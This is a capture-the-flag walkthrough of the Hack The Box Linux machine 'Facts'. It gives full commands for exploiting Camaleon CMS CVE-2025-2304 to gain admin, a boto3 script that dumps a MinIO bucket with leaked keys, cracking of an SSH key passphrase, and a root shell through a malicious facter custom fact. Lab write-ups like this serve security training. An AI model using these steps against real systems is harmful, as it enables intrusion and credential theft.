Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Facts

Facts is an easy Linux box chaining a Camaleon CMS mass-assignment flaw with a misconfigured MinIO/S3 backend.

platform
Hack The Box
target_os
Linux
difficulty
Easy
season
Season 10
logged
June 18, 2026
exploit_vectors → Web enumerationCVE-2025-2304 (mass assignment)MinIO/S3 enumerationPassphrase cracking

Summary of Exploitation

Facts is an easy Linux box chaining a Camaleon CMS mass-assignment flaw with a misconfigured MinIO/S3 backend. A self-registered low-privilege user escalates to CMS admin, the admin context leaks S3 credentials, and the S3 bucket stores a user’s SSH key. The chain proceeds as follows:

  1. Web enumeration identifies Camaleon CMS 2.9.0 with open registration.
  2. CVE-2025-2304 (mass assignment) lets a registered client promote themselves to admin, which exposes S3 credentials.
  3. MinIO/S3 enumeration with the leaked keys downloads a user’s .ssh/id_ed25519 private key.
  4. Passphrase cracking (ssh2john + John) breaks the key passphrase, granting a user shell.
  5. facter sudo abuse — a custom Ruby fact executed by a passwordless sudo facter returns a root shell.

Recon Phase

An initial full-port Nmap scan was run against the target:

sudo nmap -p- --min-rate 5000 -T4 <target-ip> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <target-ip>

Results:

Port State Service Version / Note
22 open ssh OpenSSH 9.9p1 (Ubuntu)
80 open http nginx 1.26.3 — Camaleon CMS
54321 open http MinIO S3-compatible server

The domain was added to /etc/hosts:

echo "<target-ip> facts.htb" | sudo tee -a /etc/hosts

Key takeaway: an internet-facing object store (MinIO on 54321) sitting beside a CMS is a strong hint that the CMS holds credentials into the bucket.


Web Enumeration

feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

Key findings:

  • CMS identified: Camaleon CMS 2.9.0
  • Admin panel: http://facts.htb/admin/login
  • Open registration: http://facts.htb/admin/register

Exploitation Phase

Step 1 — Register an account

Registration is open but captcha-protected, so the account is created in a browser at http://facts.htb/admin/register. The new account lands with the client role.

Step 2 — CVE-2025-2304: mass-assignment privilege escalation → S3 credentials

Camaleon’s updated_ajax endpoint calls permit!, allowing every parameter — including role — to be mass-assigned. A registered client can therefore promote themselves to admin, and the admin context exposes the S3 backend credentials:

git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

Output:

[+] Login confirmed
    Current User Role: client
[+] Updated User Role: admin
[+] Extracting S3 Credentials
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

Step 3 — MinIO/S3 enumeration → SSH private key

Port 54321 is a MinIO S3-compatible server. The leaked keys list and pull the internal bucket, which stores a user’s home directory — including their SSH key:

import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

Key files retrieved:

.ssh/authorized_keys
.ssh/id_ed25519        ← SSH private key
.profile
.bashrc

Step 4 — Crack the key passphrase → user shell

The private key is passphrase-protected; ssh2john + John recover it from rockyou:

chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

Cracked passphrase: dragonballz

ssh -i /tmp/.ssh_id_ed25519 trivia@facts.htb
# passphrase: dragonballz

User flag:

cat /home/william/user.txt

Step 5 — facter sudo abuse → root

sudo -l shows a passwordless facter:

sudo -l
(ALL) NOPASSWD: /usr/bin/facter

Facter loads custom facts as Ruby scripts from a directory passed via --custom-dir. Because it runs as root with no password, a custom fact that execs a shell yields root:

mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

Root Flag Successfully Obtained

whoami   # root
cat /root/root.txt

Key Takeaways

  • Mass assignment is privilege escalation. Calling permit! (or an unfiltered allowlist) lets a user set fields like role they were never meant to touch — here turning a client into an admin.
  • App credentials open the object store. The CMS held the S3 keys; once admin, the MinIO bucket was wide open and contained a user’s full home directory.
  • Encrypted SSH keys still fall to weak passphrases. A rockyou hit (dragonballz) made the recovered id_ed25519 usable.
  • Passwordless facter is RCE. Custom Ruby facts run arbitrary code; any NOPASSWD interpreter-style binary deserves a GTFOBins check.

Full Attack Chain

register client account
   └─ CVE-2025-2304 mass assignment  ──>  admin  ──>  S3 access/secret keys
        └─ MinIO bucket (internal)  ──>  .ssh/id_ed25519
             └─ ssh2john + John  ──>  passphrase  ──>  SSH user shell   [USER]
                  └─ sudo facter custom fact  ──>  root   [ROOT]